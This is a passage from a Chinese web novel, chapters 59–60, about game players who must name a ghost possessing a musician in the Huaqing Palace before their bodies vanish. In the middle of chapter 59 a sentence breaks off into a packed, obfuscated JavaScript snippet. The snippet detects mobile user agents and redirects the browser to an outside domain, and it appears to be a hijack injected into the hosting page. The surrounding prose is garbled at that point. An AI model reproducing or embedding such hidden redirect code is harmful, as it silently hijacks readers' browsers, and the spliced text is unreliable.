“入我旧宫,自然以命相哺。” 她轻声道,话音落下的那一刻却倏然转头,看向原本空无一物的右前方。 此刻,在明灭的灯火之下,真正的师襄正站在那里——更准确地说,是以游荡魂灵的形象漂浮在那里,一双灰白、空洞的眼眶,直直地看过来。 看到她的一瞬间,“师襄”,或者说鬼,脸上的笑容便消失了。 “阴魂不散。” 鬼冷哼一声,刚要伸手拨动琵琶弦,下一刻却只听到凌厉的破空声划过耳边,紧接着弦声一乱,她的拨弦的手竟是被一枚弩箭硬生生打偏了,一道浅浅的鲜血顺着手腕缓缓流到已经被箭镞崩断的弦上。 “哟,干坏事呢?” 唐逐星吹了吹螭首千机枪口不存在的硝烟,利落地跳下正在燃烧的树干。他身侧,尹有攸用大拇指一揩嘴角,酒壶挂回腰间,也跟着跳了下来,加入了战局。 “你说你们天天沾点酒就下手没轻没重的,这可是师襄的身体。” 懒洋洋的抱怨声在耳边响起,鬼愕然转头,余光却只看到火焰般的赤红光芒一闪,不知何时,陆厌已经踏着鬼魅一样的步伐,无声无息地绕过了金吾卫组成的人墙,来到了她身后。 更远处,李千驰策马自火光中跃出,长枪倒提在手中,马背后还捆了一个不停挣扎的眼熟毒经;龙葵旋身放出沾衣未妨,大片扩散的毒雾将NPC钉死在原地;另一边,飞刃回转强行在NPC中间开出一条血花四溅的通路来,露出殷炽手持链刃的身影。 ——玩家们从华清宫的各个方向汇集而来,回到了他们的主战场。 师襄静静地站在那里,对上鬼的目光,忽然露出一个笑容。 游荡的魂灵的五官残缺又模糊,但要表达的情绪,也非常直白。 嘲弄。 这就是一个简简单单的、嘲弄的微笑。 59. 第五天·华清宫(五十九) “小姐,玩够了么?” 流动着暗红光泽的冰凉刀刃轻轻地贴在鬼的颈边,陆厌拖长声音道:“快点把不该拿的东西还回去吧。” 鬼垂下眼睛,看了看自己脖颈边闪着寒光的弯刀,又看了看站在斜前方的师襄,似乎是轻轻叹了口气,抬起还在流血的右手,打了个响指。 这不大不小的声音一响起来,仇非便感觉劈出去的盾刀顿时失去了阻力,还好她反应迅速,一翻手腕,立刻收住了刀势。 看看四周,其他人也是如此;一瞬之间,梨园宴上所有还在不知疲倦进攻的NPC们,连同他们存在过的痕迹,都化作细小的飞灰,凭空消失了。 刚刚还混乱异常的梨园,忽然安静得可怕起来。 “呼……不会吧,这就妥协了?” 龙葵收起百草卷,擦了擦脸上的细汗,走到仇非身边:“这么容易?” 仇非摇了摇头。如果仅仅威胁一下鬼就能控制住它,华清宫这张图就绝对不会是第五天的难度了,再加上四周的大火没有丝毫减弱的架势,显然,鬼并不打算善罢甘休。 疲惫的玩家们谨慎地聚在一起,警惕着四周,同时朝着乐师台慢慢靠拢过去。 乐师台上,陆厌眯了眯眼,更加警觉地注意着鬼的动作。 他当然不会觉得一句话便能起到这么大的作用,实话说,就连架在鬼脖子上的这把刀,陆厌都怀疑到底有没有用,毕竟这身体还是师襄的,真要打起来,那肯定是玩家们束手束脚、更加吃亏。 他将弯刀向旁边偏了一点儿,微微压低声音,语气中暗含危险:“不打算说点什么吗?” 鬼缓缓抬起垂着的头,随着她的动作,几缕黑发从颈后滑落到刀锋上,顿时就断为了两截;但看肩膀的起伏,她的呼吸依然平静而绵长,仿佛根本就没有被近在咫尺的刀刃所影响。 “差不多了……”她轻轻说。 听到鬼开口,陆厌眉头就是一跳,心里莫名有种不好的预感。 ——这根本不是师襄的声音。师襄的声音清澈、利落而果决,咬字非常清晰,但这个“师襄”嘴里吐出来的,却是一种奇妙的、轻柔的声音,音调有点像唱歌,缥缈得有些不真实。 显然,这就是鬼自己的声音,不知道是觉得没有必要继续伪装下去、又或者是发生了什么其他变化,她已经不再用师襄的声音说话了。 “你说什么?什么差不多了?!” 其他玩家也赶到近前,听到鬼的这句话,顿时都觉得不太妙,龙池乐当先喝问道。 鬼抬起眼睛,慢慢地打量着每一个站在她面前的人。她看得很仔细,凡是被她看到的人,心头都涌起一阵恶寒,同时伴随着一种强烈的不适感。那种感觉,就好像自己突兀地变成了一件商品,陈列在橱窗中,正在被精明的商人仔细鉴定着价值。 仇非、龙葵、方叱羽、李千驰、亓秀秀、尹有攸、唐逐星、陆厌、殷炽、卫山河、龙池乐、商陆、纪空山,还有一个已经不再叫骂、安安静静被绑在后面、眨着眼睛不知道在盘算着什么的阿攸。 目前留在梨园里的,就是这些人了。 “别故弄玄虚!”被那种目光看得不寒而栗,龙池乐一咬牙,纤细的剑尖直接指向鬼的双眼,“梨园宴的美梦该醒了,你就是鬼,快点结束这个幻境,让我们离开!” 龙池乐这句话说得又快又急,已经算是在“指认鬼”了,虽然有所准备,但玩家们还是不约而同地紧张起来,绷紧了神经,全神戒备着“指认”的后果。 然而,随着龙池乐话音落下,梨园却依然维持着诡异的平静,四周只有大火吞噬花木时噼啪作响的声音。 在这异常的静谧之中,面对眼前的剑刃,鬼轻轻歪了歪头,依然是一副平静的表情。 “我是鬼么?”她用那种唱歌一般轻柔的语调淡淡地说,“……我是师襄呀。” “你是个毛线师襄。”陆厌条件反射般吐槽道。 那边,纪空山闻言一愣,立刻反应过来了。 “名字。”她低声提醒道。 所有玩家共享一次指认鬼的机会,指认错误的话大家都会死,现在没有人死去,说明他们并没有指认错误,但第五天同样也没有结束,所以也算不上成功。先前大家的推论显然极有可能是正确的,鬼现在所拥有的自我认知是“师襄”,所以,必须得到她真正的名字,才算是认出了鬼。 李千驰清了清嗓子,主动往后退了几步,身上有名簿的玩家们也心领神会,慢慢地后退到人群后方,围拢起来,龙池乐恨恨地瞪了鬼一眼,唰地一下还剑入鞘,跟着走了过去。 “诸位。”纪空山对之前留在梨园里的玩家低声解释道,“你们也听到了,目前这个鬼自认为是师襄,所以单单指出她是鬼的这一点事实肯定不足以达成‘指认鬼’的条件,我们认为,必须要找到鬼的真名,才能够结束第五天。” 不过,既然鬼已经在他们的控制之下,那找到名字应该只是时间问题,这样想着,纪空山看向“师襄”。真是很难想象,那样沉静的外表之下,寄居着的竟然是盘桓在华清宫中的鬼;不知为何,看着那平静的面容,她的心里就像梗着一根刺一样,隐隐不安。 还没等她再说什么,那种不安就应验了—— 龙池乐一把将名簿摔在地上,怒道:“名字都没了!” 纪空山愕然,看向方叱羽,方叱羽脸色也不好看,微微摇了摇头:“被模糊了。” 陆厌低头看了一眼鬼,鬼淡淡地回视过来,嘴角噙着一丝笑。 难怪她如此平静,原来是早就有恃无恐。 名簿在不愿意放弃的玩家们手里轮流传阅着,被翻得哗啦啦直响,一种焦躁和不安在人群中悄然蔓延。与此同时,龙葵低声问李千驰:“你看见柳七刀了吗?” “柳七刀?”李千驰一愣,“我们分头走的……对哦,柳七刀怎么不在这?” “你叫什么名字!” 龙池乐脾气最急,双剑又握在手里了,此刻恨不得一步上前拽着鬼的领口逼问她,殷炽硬着头皮虚拦了她一下,陆厌也苦笑着轻轻用刀背往外推了推那明晃晃的剑尖:“消消气消消气,师襄的身体。” “不重要了。” 出乎所有人的意料,鬼竟然开口回答了。 她抬起眼睛,又一次认真地扫过所有人的面庞,这次注视的结果,似乎令她十分满意,于是她再一次轻轻重复道:“不重要了。” “砰!” 说时迟那时快,察觉到鬼似乎有所异动,陆厌的弯刀顿时顺着“师襄”肩侧一刀砍下,刀尖一挑,她怀中的琵琶瞬间四分五裂!但是“师襄”那沾着血的手指也已经按在了还没有断裂的那几根琵琶弦上,眼看着锋利无比的刀刃就要将“师襄”的手掌齐根斩断,陆厌只迟疑一刹,那弦就已经被拨得颤动了起来! 随着弦音震响,下一秒,所有玩家的脚底蓦然一空,那熟悉的黑洞再度出现,然而这一次,玩家们连挣扎的时间都没有,就纷纷跌落其中。 纪空山只觉得眼前一暗,一阵天旋地转过后,后背一痛,似乎是摔落在了地上,但再次睁眼,却是从破败的宫道上挣扎起身,头顶一轮残月,在斑驳颓垣间投下冷清的晖光。 “空山!空山!” 纪空山咬牙忍受着大梦初醒般的晕眩,一转头,便看到有一个十分眼熟的姑娘含着眼泪拼命朝自己挥手,她有些迟钝地看着对方,片刻后,曾经被抹去的记忆慢慢回笼:“……飞琼?” 她猛地回过神来,一个激灵看向四周。身边全是和她一样坐起身来的玩家,或迷茫或恍然地打量着这座看起来萧条而冷清的行宫,而那些曾经被遗忘的队友们,此刻正纷纷聚拢过来—— “你看到湘君了吗?”看到谢不若朝着仇非龙葵一阵叽哩哇啦,她急切地转头,拉住飞琼的手。 飞琼一眨眼,含在眼里的眼泪便断线般地落了下来,哽咽着反手握住纪空山的手臂,把愣住的她拉进怀里紧紧地抱住。 龙池乐和商陆也靠了过来,几个人无声地围成一圈,一种难言的哀伤,随着细碎的啜泣声蔓延开来。 叶九溪转头看了看那边,默默地叹了口气。 “阿攸呢?”他问李千驰。 李千驰一愣,这才发现被绑起来的阿攸不见了。发生了那么多事,他早就把这个人机抛到脑后去了,环顾一圈没找到,有点尴尬地摊了摊手:“没了。” “人机似乎都不在这里。”裴洛川道,“她可能是和我们被扔到了不同的地方。但是话说回来,大家都被赶出来了,说明鬼已经不再需要我们的生命力了,接下来应该怎么办……” 他心不在焉地扫视着在场的人,忽然愣了一下。 “不可能啊?!” 谢不若震惊道。 “没在梨园和你们汇合也就算了,为什么现在所有人都出来了也没看见柳——” 他还没说完,一道身影却直接扑了过来,死死地捂住了他的嘴。 “别说出来!”裴洛川的冷汗都快下来了,压低声音对饿了么的众人道,“千万别说出来!” 谢不若莫名其妙地被他按住,一头雾水,仇非却心念一动,隐隐有了一个猜想。 她抬手示意谢不若噤声,深吸了一口气。 如果是她想的那样…… “咔!” 正在这混乱之中,一道清晰的碎裂声却突兀地响了起来。 这声音不大,但不知为何却像一道惊雷在听者的脑中炸开,一时间,所有玩家都停下了话语和动作,不约而同地看向碎裂声传来的方向。 行守沐浴在众人的目光中,难掩震惊地看向自己的手心。 他手中捧着的,正是那颗轮回珠,幽蓝的球体上横亘着一道明显的裂纹,莹莹的光芒正肉眼可见地迅速熄灭,几息之间,就变成了那种意味着没有在使用中的暗淡状态。 “这缝是本来就有的吧?”陆厌已经被祝灵正科普过了轮回珠的作用,扯了扯嘴角,有点笑不出来了。 “刚裂的。” 付井仪冷静道。他从行守手中接过轮回珠,仔细看了看,其实那道裂纹并不算太大,只是因为轮回珠通体发光,所以突兀暗下来的一条裂缝在整个球体表面上就十分惹眼。 还不等众人想明白这个变化意味着什么,更大的变故就出现了—— “天……天!” 曲小蕨瞳孔地震,结结巴巴道,指向天空的手不自觉地颤抖起来。 只见那月光清冷的夜空,此刻就像被撕开的幕布一样,露出了一道漆黑无光的巨大缺口,深不可测的黑暗之中仿佛有什么在涌动着,即将逃逸出来。 这片黑色的缺口低低地悬挂在玩家们头顶,像倒悬的深渊,十足可怖,而且还在缓慢地向外扩张着,好像要吞噬掉一整片天空。随着它的扩张,凛冽的冬日忽然变得炙热起来,而那裂口里更是开始有丝丝缕缕的青烟逸出,很快,焦糊味就像扭曲盘绕的毒舌一样,从其中蔓延了出来。 在高温之下,周遭的一切事物也开始模糊扭曲,已经结满蛛网、落尽灰尘的亭台楼阁竟然又变得鲜亮起来,只是这景象忽明忽暗、似真似幻,就好像海市蜃楼和现实重叠在了一起。 巨变在前,纪空山拭去眼泪,定定地看着那好像随时都要塌下来的天空,心底一片冰凉,喃喃道:“那是……里世界的华清宫!两个世界在融合吗?” “不是融合……”仇非却冷冷道,“说是吞噬,不,‘消化’,好像更合适一点。” 如果说,鬼在里世界编织出来的虚假的华清宫一直以来都是藏在表世界中的幻境,那么它现在就像一只缓缓蠕动着的巨大胃袋,不知道从哪里找到了可以翻卷的缺口,想要翻过来包裹住真实的世界,将它吞咽下肚,慢慢消化,连同他们这些在鬼眼里已经失去作用的玩家一起,变成哺育自己的残渣。 那是很震撼的一副场景,让人想到噩梦中世界末日的情形,说是天崩地裂也不为过,只是一切都是无声进行着的,像电影到了落幕的时刻,没有声音,只有死寂一般的抽离。 在这样的景象面前,渐渐地,没有人再说话了。所有人只是仰起头,看着被撕开的天空和它背后的另一重世界,看着它扭曲、崩塌,最后变得支离破碎。 两个世界交叠的边缘处模糊不清,纠缠着缓慢地朝玩家们靠近。昔日“华清宫”繁华的倒影像沙尘一样,从高空纷纷扬扬地飘落下来,又逐渐堆砌成大火酣畅淋漓焚烧过后的断壁残垣的模样,如蚁行一般,细密地吞噬着真实的一切。 “听。”尹有攸突然开口,打破了沉默。 玩家们侧耳细听,果然,在那铺天盖地、以不可抵挡之势覆压过来的“华清宫”的深处,竟依稀传来了微弱的歌声。 随着这歌声响起,里世界肆虐高扑的焰头,就像被一只看不见的大手压住一样缓慢地低了下去,变成了流逸的青烟。 “那玩意唱的是什么,你们知道吗?”谢不若问,“鬼自创的小曲?” “你能听清吗?”行守问尹有攸。 尹有攸侧耳,边听边报:“在长安……” 后面是什么,他却卡壳了,不过有这三个字也已经足够,纪空山挑了挑眉,接着他的话道:“络纬秋啼金井阑,微霜凄凄簟色寒。李白的乐府诗,在梨园也有传唱啊。” 与此同时,曲小蕨DNA也动了,开口就是:“长相思,在长安,自长安开远门,西去安西九千九百里,这万里山川故人,便是我煌煌大唐——” 听见纪空山的话,她自觉地闭上了嘴。 那缥缈的歌声,此时也愈发清晰,细细听来,那确实就是鬼的声音。 这首歌本来应该是带着淡淡相思哀愁的,但也许是计划得逞,从鬼的歌声里,只能听出高高在上的欢欣,和歌词并不相配,再加上这天崩地裂、世界重叠的背景,充满了浓重的违和感。 “孤灯不明思欲绝,卷帷望月空长叹……美人如花隔云端。” “真不要脸啊。”祁云纵忍不住吐槽。 祝灵正提醒道:“她现在用的是师襄的脸。” 在逐渐真切的歌声里,鬼抱着那把已经断裂的琵琶,缓缓地走进了玩家们的视野之中。随着她的每一步落下,本来还有几分虚幻的里世界就变得凝实起来,而真实的表世界便被覆盖消失。 “我擦!”谢不若毛骨悚然,“你不要过来啊!” 鬼当然不会听他的。她轻轻地拨着弦,看上去并不是认真在弹,更像是随手拨弄的一个动作,而那已经不成样子的断弦琵琶发出来的乐音,也是断断续续、不成曲调的。 “上有青冥之高天,下有渌水之波澜。天长路远魂飞苦,梦魂不到关山难。 “长相思,摧心肝……” 唱到最后一句的时候,她甚至微微笑了起来,那笑容鬼气森森,即使此刻她用的仍然是师襄的身体,但玩家们看着她的脸,竟然倍感陌生,背后凉气直冒。 “还要道一声多谢了。”鬼抱着琵琶,十分优雅地向他们行了一礼,但不知道是不是玩家们的错觉,总觉得她语气中充满了嘲讽,“诸位皆是心念纯澈、命相明净之人,若非如此,也难助我再筑昔日骊宫,解我相思之苦。” “神经病啊!”龙池乐没忍住骂了一声,也想起来了,她没记住的那两句词恰是“徒留旧宫,相思清泪”,“她在相思什么玩意?” “也许是过去的日子吧。”仇非冷冷道,“第五天一直在强调‘设定’,现在看来,鬼的设定也很明显了,看她手里舍不得放下的那把烂琵琶,她就是一个沉湎于梨园乐府、爱乐如痴的人。” 仇非的音量不低,但鬼似乎听不到“第五天”“设定”之类的词,只是在她说到烂琵琶的时候,眉头轻轻一跳,不过旋即又平静下来,淡淡笑道:“虽然诸位几次三番坏我盛筵,但如今骊宫已成,今后时日还长,昨日种种,就一笔勾销吧。” 一笔勾销? 听起来似乎不错,但是玩家们的反应各不相同,龙葵更是直接呸了一声,只有飞琼还傻乎乎地问:“那是不是说你可以直接把名字告诉我们,然后我们结束第五天?对了,那个师襄的身体,也得还一下吧。” 听到飞琼这么说,鬼又笑了起来,那是非常轻松的笑,充满了愉悦感。 她说:“百年之后,我会还的。不过那时候嘛……只是一堆枯骨而已了。” “跟她废什么话!” 李千驰喝道,长枪一横,就朝鬼冲了过去。 ——然而仅仅只冲出几步,他的步伐就踉跄起来,好像陷进了看不见的泥潭。 不仅是他,所有的玩家,都感觉到脚下传来一股巨大的阻力,这力气无比巨大,根本无法反抗,祁云纵不信邪,还想往前走两步,但迈开步子的同时,他就感觉到小腿一紧,钻心的疼痛顿时直冲天灵盖。 在那一瞬间,多次出生入死的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691207|173353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 历练让祁云纵做出了正确的判断,他顺着正在拉扯他双腿的巨大力量倒了下去,并大声喊道: “快趴下!” 变故突如其来,几乎一刹,所有人都已经伏倒在地,那种离奇的力道让所有玩家都确定,如果有人还敢站着或者往前走动的话,就会被活生生扯成两半。 “雕兄!”方叱羽向疾夜伸出手,然而本来还在头顶盘旋的疾夜,也被一种看不见的力量直直地压了下来,宽大的羽翼垂盖在地面。它短促而焦急地叫着,不停挣扎,显然是飞不起来了。 “他……他在消失……!” 龙葵颤声叫道,指向李千驰的方向。 只见李千驰膝盖以下的小腿,竟然变得若隐若现起来,只剩下隐约的轮廓,从脚踝以下的部分更是直接消失不见了,而看李千驰惊愕的目光,显然他自己对此是没有丝毫感觉的。 是毒吗?还是其他的不利状态?龙葵强行压下恐惧,迅速摊开百草卷,柳叶刀握在手中,依然是那种冰凉却坚定的感觉,但以往熟练到信手拈来的招数,如今却变得无比滞涩,竟然无论如何也放不出来了。 忽然,她意识到了什么,目光缓缓投向自己的双脚。 果然,她的下半身,也正在一点一点地变得透明,好像融进了落满灰尘、杂草丛生的宫道之下。 “这才叫一笔勾销。” 鬼在众人身后轻笑道。 这时候也顾不上那是不是师襄的身体了,唐逐星咬紧牙关,堪堪将千机弩从腰间歪斜一寸,弩首对准鬼的方向,扣动了弦机。 寒光乍现,破空之声厉厉! 然而,在众人的目光中,那枚弩箭在进入里世界的一刹,就无声无息地消失了,好像从来不曾存在过一样。 “怎么可能?!” 唐逐星还想再尝试第二次,然而螭首千机穿过他变得透明的双手,砸落在地。 曲小蕨呆呆地看着面前的队友们,看着他们连同自己逐渐虚幻、眼看就要消失的身体,有一个非常不祥的词,悄悄地盘踞在了她的心头。 团灭。 他们不会要团灭在第五天了吧。 她能非常清晰地感觉到,自己已经到了生死一线的边缘,但是她根本没有、也想不到办法反抗! 小付老师呢?非姐呢?他们想到办法了吗?曲小蕨慌张地寻找着那些靠谱的身影,但在看到他们的一瞬间,她差点一口血吐出来——在这种生死攸关的时刻,他们竟然在聊天! 事实上,这一边的氛围,并没有曲小蕨看到的那样轻松。 “怎么说?” 纪空山道,她的声音颤抖,几乎无法维持镇定,但还是坚持着说了下去:“要不要赌这一把?” “我不觉得是赌。”仇非冷静道,但呼吸比平常急促了许多,冷汗顺着鬓边滑落,显然内心也不平静,“无论是从规则的暗示、还是我们和鬼的接触,又或者梨园宴上的细节,再结合浪客行这游戏一贯的作风,这就是正确答案,除非它真的有心让我们团灭在第五天……” “可是怕的就是这个啊,万一这就是陷阱呢?这是第五天的难度!”纪空山强调道。 “但是我们也没有别的线索了。”付井仪道,“阮为阮咸,略近于琵琶,而琵琶取首部双王即为珏,珏在篆书中的写法也是玨。《说文》中——” “别说了!人都快没了!直接赌命吧!” 龙池乐喝道,她胸口以下的部分几乎已经完全消失了,连身子都不能转过去,只能定定地看着诡谲的天空,大声喊道:“阮珏!你不是师襄!你是阮珏!” “……” 鬼脸上的笑容凝滞了一瞬。 这阵死寂一般的沉默,恐怕是曲小蕨、乃至所有人经历过的最恐怖的沉默,短短几秒,却像是度日如年,所有人都在难以言表的压力中,等待着最后的结局。 “没死……” 亓秀秀喃喃道,很快,她的语气就变得惊喜起来:“我们没有死!指认是对的!鬼是阮珏!” “哇!” 曲小蕨毕竟年纪最小,此时终于忍不住了,嗷地一声哭了出来:“吓死我了!” “等一下!”陆厌却紧紧凝视着自己的双手,沉声道,“消失没有停止,还在继续!” 怎么会这样? 众人不可置信地看向鬼,或者说阮珏,却见她轻笑着,面上一派嘲讽之色: “叫出了我的名字,那又如何呢?你们已经不在我的骊宫之中了。” 听到她这么说,饿了么队的玩家却松了一口气,刚刚经历过绝望的心底,又重新燃起了希望。 ——柳七刀,还留在里世界的华清宫里! 鬼却阴恻恻地笑了一声。 “看你们的表情,似乎是在想某个走丢的同伴?” 这话绝不是什么好兆头,曲小蕨觉得自己简直要疯了,一颗心就像坐过山车一样起起落落,恨不得从地上爬起来一口把鬼吞了,然而消失了大半的身躯却无力移动,只能恨恨地瞪着她。 鬼似乎很享受看到玩家这种状态,心情颇好地笑道:“我留着他,只是因为他没用完。而在他眼里,你们这些人,不过是游魂一样、马上就要消散的奇怪过客。” 语毕,她打了个响指,身后仿佛有什么看不见的屏障轰然倒塌,急得满头大汗的柳七刀的身影赫然显现出来。 柳七刀在外面转了半天都不得其门而入,这会儿忽然被放了进来,脸上不由露出一瞬迷茫之色,但很快镇定下来,面对着鬼,摆出一副严阵以待的架势。 看到柳七刀的瞬间,不少人便立刻要喊出阮珏二字,空气中却安静得可怕。 ——消失的身躯已经上延到喉咙,玩家们失去了声带,完全无法发声。 显然,这也是鬼的恶趣味之一,她正是在享受这种将人逼到绝境玩弄的感觉。 眼看着朝夕相对的队友只剩一颗颗残缺的头颅散落在地,这场景太可怕了,曲小蕨的眼泪止不住地顺着脸颊流下来,她真的希望这只是一场噩梦,梦醒了即使不回到现实世界也没有关系,就算是在有间客栈里打打闹闹也好,只要大家都在就行。 然而,在这死亡即将降临的绝望中,在已经完全没有办法彼此交流的时刻,玩家们达成了惊人的共识,正努力地做着口型。 阮珏…… 他们无声地念着鬼的名字,希望最后的队友能够看到。 鬼笑了出来。 她是真的觉得可笑。 这些外来者到了现在依旧不知道,自己的名字在华清宫中被念出来的一刻,她就会有所察觉。在将那两人驱逐出华清宫的时候,她便抹去了剩下的那个人关于这些名字的记忆,他连这是哪两个字都不知道,在生命的最后关头,做这些口型,又有什么作用呢? 不过,她倒是很欣赏这些人的行为。多么纯粹而勇敢的心啊,就像她选择的这具身体一样,在漫长的岁月中,来来往往的养料里,也只有这样的人,才能成就她的夙愿了。 锵、锵。 越来越大的杂音让鬼皱起眉头。她忽然意识到,那金石碰撞的声音是从身后传来的,于是转过身,朝她并没有放在眼里的柳七刀看去: 那个人还穿着不太合身的杂役衣服,已经被烧得破破烂烂了,脸上尽是在火场中东奔西走留下的焦黑灰烬,身上也满是灼伤,看起来有点滑稽可笑。 柳七刀眼眶通红,莫名的、巨大的愤怒让他握着刀的手不停颤抖,新亭侯仿佛能感受到他的心声,在刀鞘中不停地嗡鸣着,发出锵锵的声音。 在这种令人战栗的金石声中,他非常笃定地说: “你是阮珏!” 啪嗒。 本来就断了的琵琶,从惊愕无比的鬼的手中掉落在地。 柳七刀挽起自己的袖子,露出小臂。 他的袖口竟然浸透了血,而露出来的小臂上也满是鲜红的血迹,显然才刚刚干涸不久。 在那些血污下,皮肉翻卷的手臂上赫然刻着一串小字: 罗乔玉,倪莹,宁秀,阮珏,武英。 “我不知道我是什么时候刻下来的……但是我绝对不会忘!”柳七刀大声说,“单凭我一个人,怎么可能走到第五天!你以为在那些我们一起走过来的路上,随随便便抹去他们存在的痕迹,我就会相信吗!” 他目眦欲裂,几乎是咆哮着吼道: “你都对他们做了什么!” 60. 第五天·华清宫(六十) “……惯会偷奸耍滑,再想想我们那时候,哪见得一粒尘埃。” 絮絮叨叨的话语声传进耳中,曲小蕨愣愣地站着,阳光落在她的肩上,有着暖融融的温度,空气中的浮尘缓慢地上升,好像无数金色的细小光芒。 她迟钝地低下头,看见自己手中握着一把长柄扫帚,脚下是青石平整的宫道,蒸腾着淡淡白雾的泉水自道旁流过,水面和宫道上都落了干枯的黄叶,看起来不是那么干净,但显然是有人一直在照看和打扫着的。 “说你呢,别当没听见!” 忽然,她被人拍了一下,那个从她回过神来就一直在耳边唠叨的声音的主人出现在曲小蕨面前,那是一个头发花白的老妪,发髻规整,身着宫女服饰,面带不满:“要是在当年,你以为华清宫是想来就来的?” 忽然,她烦躁的眼神变为惊讶,从袖中拿出一张手帕来,擦了擦曲小蕨的脸。 “不是,我……” 刚张开嘴,熟悉的头痛感便猛烈袭来,曲小蕨痛苦地皱起眉头,视线跟着老宫女的手移动,就看见那张针脚细密的帕子上渐渐染了一片血迹。 “阳火太盛了?”那老宫女嘀咕道,又怕曲小蕨的鼻血滴落在地上,嫌弃地摆了摆手,“算了,越扫越脏,今日你便先回去休息吧,可不能再这样偷懒了。” 她劈手夺过曲小蕨手里的扫帚,抱怨着,扫起了宫道边的落叶。 曲小蕨捂住鼻子,怔怔地挪动着脚步,环顾四周。她的头疼得要命,也没法理解现在到底发生了什么,只是看着周围那些熟悉中又陌生的景色。有那么一瞬间,她以为自己又回到了鬼构造出来的华清宫中,因为这座行宫并不破败,宫殿楼阁依旧华丽壮伟;但细细看去,那些檐瓦廊柱却远不如里世界那样颜色鲜艳,相反,每一处角落,都存留着非常明显的岁月风霜留下的痕迹。 她抬眼望着四周——这是她无比熟悉的一条路,背后是昭阳门,顺着宫道直走,穿过六尚局,就来到了中区,西边是功德院,东边是梨园,再往前走便是津阳门;过了津阳门,就是那条弯弯曲曲的山路,来时她坐着马车,在拥挤的车厢里,悄悄地读着第五天的规则。 曲小蕨越走越快,最后干脆跑了起来。 有不少宫人都用奇怪的目光打量着这个小宫女;但是曲小蕨只是一路狂奔,她的鼻子不再流血,头痛感也越来越轻了;当她一步踏出津阳门时,感觉到有什么沉重的枷锁,忽然从身上脱离了下来。 曲小蕨低下头,一直束缚着她步子的宫裙裙摆,变回了熟悉的校服样式,银饰在衣裙的下摆摇曳,反射出明净的光泽。 津阳门外,那条宽阔的大河依然奔腾不休,河边长草萋萋,随风而动。横跨河面的长桥边,蒋玉凤就站在那里,身旁还站着三四个人;其中,背着一根长棍,正朝她招手的,不是行守是谁? “师父——!” 曲小蕨鼻子一酸,大叫着冲过去一头撞进行守怀里,行守脸上的表情一僵,差点被撞得一口老血吐出来。 他扶着曲小蕨站稳,给这小姑娘擦了擦眼泪:“出来了就好。” 曲小蕨泪眼朦胧地看了看周围几人,都是熟人,亓秀秀、方叱羽和龙池乐都在,但是看着看着,她心里就咯噔了一下——因为大家的表情并不欣喜,相反,还有些凝重。 龙池乐轻呼了一口气,这还是曲小蕨第一次见她本来的样子,她穿着干练的水蓝色蚩灵校服,扇形发饰两边的坠子随着动作轻轻晃动着,光泽莹润。 “看来的确是这样,规则在和我们玩文字游戏。”她冷冷地说,“所谓的‘第五天立刻结束’,其实和前四天并无不同,都是和蒋玉凤对话过后,才算这一天的结束。” 行守也点点头:“假如说有人在回到真实世界之后以为第五天已经结束了,违反了设定,那就会被抹杀。” 方叱羽感叹道:“真狠啊,在最后还设置这样的一个陷阱。” “真实世界?”曲小蕨愣愣地问,“什么意思,是说我们现在所处的环境吗?” 亓秀秀拿出手帕,给曲小蕨把鼻子下残留的血迹擦拭干净,轻轻摸了摸她的头,解释道:“我们讨论了一下,觉得第五天里并不是只有表里两个世界,还有第三个世界——就是我们现在所处的真实世界。” 龙池乐接过了她的话:“里世界就不用多说了,它就是鬼构造出来的‘华清宫鼎盛时期的样子’;而表世界,就是我们被鬼驱逐出里世界之后,到达的那个冷清破败的华清宫,它大概是鬼认知里的‘真实的华清宫’,但它们都是虚假的,我们眼前这个,才是真正的华清宫……” 她转头,看了一眼不远处的宫城。 “根据我的猜测,我们应该是在踏进华清宫的一瞬间,就进入了鬼的幻境,也就是里世界,由此开始了第五天的游戏。至于里世界之外的表世界,也许鬼自己都不知道那也是假的。怎么说呢?有可能是怨怼、有可能是嫉妒,总而言之,因为某种理由,鬼坚定地认为,安史之乱之后——或者说,从梨园宴上唐玄宗彻底放下对安禄山的戒备之后,大唐就彻底完蛋了,所以表世界里的华清宫看起来才像个鬼屋,这是她认知里的‘华清宫’。” 行守看着两眼转成蚊香的曲小蕨,解释道:“简单点说,就是鬼认为经历过安史之乱的华清宫应该是破败不堪的,所以有了表世界;她在表世界中思念过去的华清宫,于是就有了里世界。” 但鬼不知道的是,为赴国难之人舍生忘死,前仆后继、熙熙不止;纵然风雨疾来,燎原之火不绝。 即使大家都很清楚,盛唐自此一路衰败,这个宏大而辉煌的朝代确实行将谢幕,幻境中华清宫带给他们的震撼,此后很难再重现了;但并没有人觉得这样的文明会埋没在历史的尘沙之中,因为他们恰恰便是从后世气象万千的时代中来。 “现在应该是所有人都已经回到这个真实华清宫了吧?” 曲小蕨问,消化了目前的信息之后,她又紧张起来。 “……” 几人对视了一眼,行守摇了摇头。 “我们刚到,在等另外三个人呢。”方叱羽说。 行守点点头,补充道:“商陆和飞琼已经先回客栈了,饿了么就没出来;好莱坞的四个人来过,看到师襄不在,又回到华清宫里了。付老师他们也决定留下帮忙。” 他蹲下来,严肃地对曲小蕨说:“小蕨,你要先结束第五天回客栈吗?我们的生命力确实被鬼吸收了,这和以往的外伤不同,即使回到客栈之后,恐怕也要休养一段时间,所以——” “我不!” 曲小蕨赶紧打断行守的话,头摇得像拨浪鼓,坚定道:“我要和大家一起回去。” 龙池乐淡淡道:“我要在这里等空山。目前看来,真实世界和那两层幻境没什么联系,出来了就是出来了,即使你们再回到华清宫,也没有什么能做的,还要活在规则的限制之下。” “还可以选择相信队友。”亓秀秀对她笑了笑。 曲小蕨偷偷抬眼,看向他们身后的蒋玉凤。这种无视蒋玉凤的事情,他们也不是第一次干了,想来应该没什么问题。 但她看清蒋玉凤表情底下的神情时,却愣了一下。 